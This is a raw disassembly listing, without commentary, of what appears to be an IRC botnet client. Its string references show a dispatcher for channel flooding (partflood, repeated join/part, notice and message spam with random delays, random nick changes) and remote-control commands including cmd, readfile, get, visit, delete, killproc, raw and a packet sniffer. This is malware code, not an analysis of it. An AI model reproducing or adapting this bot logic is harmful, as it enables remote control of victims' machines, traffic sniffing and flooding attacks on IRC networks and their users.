		push	[ebp+esi+var_84]
		call	sub_41C159
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417E06
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B93C
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CB7
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_404CB7:				; CODE XREF: sub_401ACD+3173j
					; sub_401ACD+3179j ...
		push	edi
		push	offset dword_42B938
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D21
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D21
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_47F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_47F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D21:				; CODE XREF: sub_401ACD+31F9j
					; sub_401ACD+3204j
		push	edi
		push	offset dword_42B920
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D8B
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D8B
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4AF4]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4AF4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B90C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D8B:				; CODE XREF: sub_401ACD+3263j
					; sub_401ACD+326Ej
		push	edi
		push	offset aNt	; "nt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DF5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DF5
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404DF5:				; CODE XREF: sub_401ACD+32CDj
					; sub_401ACD+32D8j
		push	edi
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E5F
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E5F
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4FF8]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4FF8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404E5F:				; CODE XREF: sub_401ACD+3337j
					; sub_401ACD+3342j
		push	edi
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E9C
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404E9C
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404E9C:				; CODE XREF: sub_401ACD+33A1j
					; sub_401ACD+33ACj
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404ED9
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404ED9
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404ED9:				; CODE XREF: sub_401ACD+33DEj
					; sub_401ACD+33E9j
		push	edi
		push	offset aPartflood ; "partflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F1B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F1B
		push	offset dword_427620
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404F1B:				; CODE XREF: sub_401ACD+341Bj
					; sub_401ACD+3426j
		push	edi
		push	offset aPnick	; "pnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F92
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404F92
		nop
		call	near ptr 26A07AFh
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B8]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_17B8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404F92:				; CODE XREF: sub_401ACD+345Dj
					; sub_401ACD+3466j
		push	edi
		push	offset dword_42B888
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4050E9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4050E9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427620
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2680EF8h
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2680EF8h
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	near ptr 2680EF8h
		nop
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4050E9:				; CODE XREF: sub_401ACD+34D4j
					; sub_401ACD+34E1j
		push	edi
		push	offset dword_42B884
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405181
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_405181
		call	near ptr 26A07AFh
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B85C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 24h


loc_405181:				; CODE XREF: sub_401ACD+362Bj
					; sub_401ACD+3638j
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405289
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_405289
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 2680EF8h
		nop
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2680EF8h
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_405289:				; CODE XREF: sub_401ACD+36C3j
					; sub_401ACD+36D2j
		push	edi
		push	offset aChgnick	; "chgnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4052CE
		lea	eax, [ebp+var_180C]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_180C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4052CE:				; CODE XREF: sub_401ACD+37CBj
		push	edi
		push	offset aMsg	; "msg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4053C3
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4053C3
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2680EF8h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2680EF8h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B924
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4053C3:				; CODE XREF: sub_401ACD+3810j
					; sub_401ACD+381Dj
		push	edi
		push	offset aNotice_0 ; "notice"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054B8
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054B8
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2680EF8h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2680EF8h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4054B8:				; CODE XREF: sub_401ACD+3905j
					; sub_401ACD+3912j
		push	edi
		push	offset aCtcp	; "ctcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4055D9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4055D9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B814
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 2680EF8h
		nop
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7FC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 2680EF8h
		nop
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2680EF8h
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7E4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4055D9:				; CODE XREF: sub_401ACD+39FAj
					; sub_401ACD+3A07j
		push	edi
		push	offset aMix	; "mix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405709
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405709
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B814
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 2680EF8h
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2680EF8h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2680EF8h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_405709:				; CODE XREF: sub_401ACD+3B1Bj
					; sub_401ACD+3B28j
		push	edi
		push	offset aRegister ; "register"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40574D
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40574D
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_40574D:				; CODE XREF: sub_401ACD+3C4Bj
					; sub_401ACD+3C56j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40619B
		mov	[ebp+arg_18], offset dword_4D4A5C


loc_405769:				; CODE XREF: sub_401ACD+3CC0j
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax-4], 1
		jnz	short loc_40577F
		mov	eax, [eax]
		cmp	eax, ebx
		jbe	short loc_40577F
		push	eax
		call	dword_4CBA6C


loc_40577F:				; CODE XREF: sub_401ACD+3CA3j
					; sub_401ACD+3CA9j
		add	[ebp+arg_18], 210h
		cmp	[ebp+arg_18], offset dword_4DB17C
		jl	short loc_405769
		cmp	[ebp+var_8], ebx
		jnz	loc_40619B
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B784
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_40619B
; ---------------------------------------------------------------------------


loc_4057B7:				; CODE XREF: sub_401ACD+3151j
		push	[ebp+arg_8]
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aN	; "n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aJ	; "j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aPt	; "pt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aRaw	; "raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aKillthread ; "killthread"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aC_quit	; "c_quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_q	; "c_q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aC_rn	; "c_rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aPrefix	; "prefix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aPr	; "pr"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aOpen	; "open"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aO	; "o"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aServer	; "server"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aSe	; "se"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aDns	; "dns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aDn	; "dn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aKillproc ; "killproc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKp	; "kp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKill	; "kill"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aKi	; "ki"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aDel	; "del"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aGet	; "get"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aGt	; "gt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aList	; "list"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aLi	; "li"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aVisit	; "visit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aV	; "v"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aMirccmd	; "mirccmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aMirc	; "mirc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aCmd	; "cmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aCm	; "cm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aReadfile ; "readfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aRf	; "rf"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aPsniff	; "psniff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C9F
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C67
		push	20h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405B91
		push	offset dword_42B68C
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405B91:				; CODE XREF: sub_401ACD+40B8j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_F5C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED4], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_ED0], eax
		jnz	short loc_405BD3
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BD3
		mov	esi, [ebp+var_88]


loc_405BD3:				; CODE XREF: sub_401ACD+40E8j
					; sub_401ACD+40FEj
		push	esi
		lea	eax, [ebp+var_F58]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B65C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_ED8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F5C]
		push	ebx
		push	eax
		push	offset byte_412B61
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_ED8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_405C56


loc_405C40:				; CODE XREF: sub_401ACD+4187j
		cmp	[ebp+var_ECC], ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 2680EF8h
		nop
		jmp	short loc_405C40
; ---------------------------------------------------------------------------


loc_405C56:				; CODE XREF: sub_401ACD+4171j
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset dword_42B620
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C67:				; CODE XREF: sub_401ACD+40A8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	20h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C95
		push	eax
		push	offset dword_42B5E4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C95:				; CODE XREF: sub_401ACD+41BBj
		push	offset dword_42B5B8
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405C9F:				; CODE XREF: sub_401ACD+4093j
		push	[ebp+arg_8]
		push	offset aSniffer	; "sniffer"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DEF
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DB7
		push	21h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405CE1
		push	offset unk_42B590
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405CE1:				; CODE XREF: sub_401ACD+4208j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC8], eax
